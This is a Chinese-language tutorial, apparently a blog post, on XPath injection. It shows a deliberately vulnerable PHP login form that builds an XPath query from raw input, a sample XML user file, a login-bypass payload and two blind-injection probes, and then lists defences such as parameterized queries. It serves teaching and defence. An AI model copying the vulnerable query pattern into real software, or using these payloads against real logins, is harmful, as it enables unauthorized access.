XPATH 注入漏洞

一、XPATH

1、XPATH 概述:

        XPath 是一种查询语言,它描述了如何在 XML 文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath 在一些方面与 SQL 相似,不过,XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分,而不受访问控制限制。

        而在 SQL 中,一个“用户”(在 XPath/XML 上下文中未定义的术语) 的权限被限制在一个特定的数据库,表,列或者行。

2、漏洞概述:

        使用 XPath 注入攻击,攻击者可以修改 XPath 查询语句来执行所选择的操作 。

        XPath 盲注攻击可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下, 攻击者可以提交并执行有效的 XPath 代码。

        这种类型的攻击适用于以下情况:攻击者不清楚 XML 文档的架构,或者错误消息被抑制,一次只能通过布尔化查询来获取部分信息,就像 SQL 盲注一样。

二、实例

1、实例源码:

(1)xpath.php

<!DOCTYPE html>
<html>
        <head>
                <meta charset="UTF-8">
                <title></title>
        </head>
        <body>
                        <form method="POST">
                                用户名:<input type="text" name="username"><br>
                                密码:<input type="password" name="password"><br>
                                <input type="submit" value="登录" name="submit">
                        </form>
        </body>
</html>
<?php
if(file_exists('xpath_user.xml')){
        $xml=simplexml_load_file('xpath_user.xml');

        if($_POST['submit']){
                $username=$_POST['username'];
                $password=$_POST['password'];
                $sql="//user[@username='{$username}' and @password='{$password}']";
                $resulit = $xml->xpath($sql);
                if(count($resulit)==0){
                        echo '登录失败';
                }else{
                        echo "登录成功";
                }
        }
        }
?>

(2)xpath_user.xml

<?xml version="1.0" encoding="UTF-8"?>
<users>
<user id="1" username="admin" password="admin"></user>
<user id="2" username="root" password="admin"></user>
<user id="3" username="system" password="system"></user>
</users>

2、注入操作:

(1)有回显,直接注入

a' or '1'='1

(2)无回显,使用盲注

1、admin'and string-length(@password)=5 or '1'='1

2、admin'and substring(@password,1,1)='a' or '1'='1

三、防御:

1、数据提交到服务器上,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。

2、检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3、对于系统出现的错误信息,以 IE 错误编码信息替换,屏蔽系统本身的出错信息。

4、参数化 XPath 查询

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值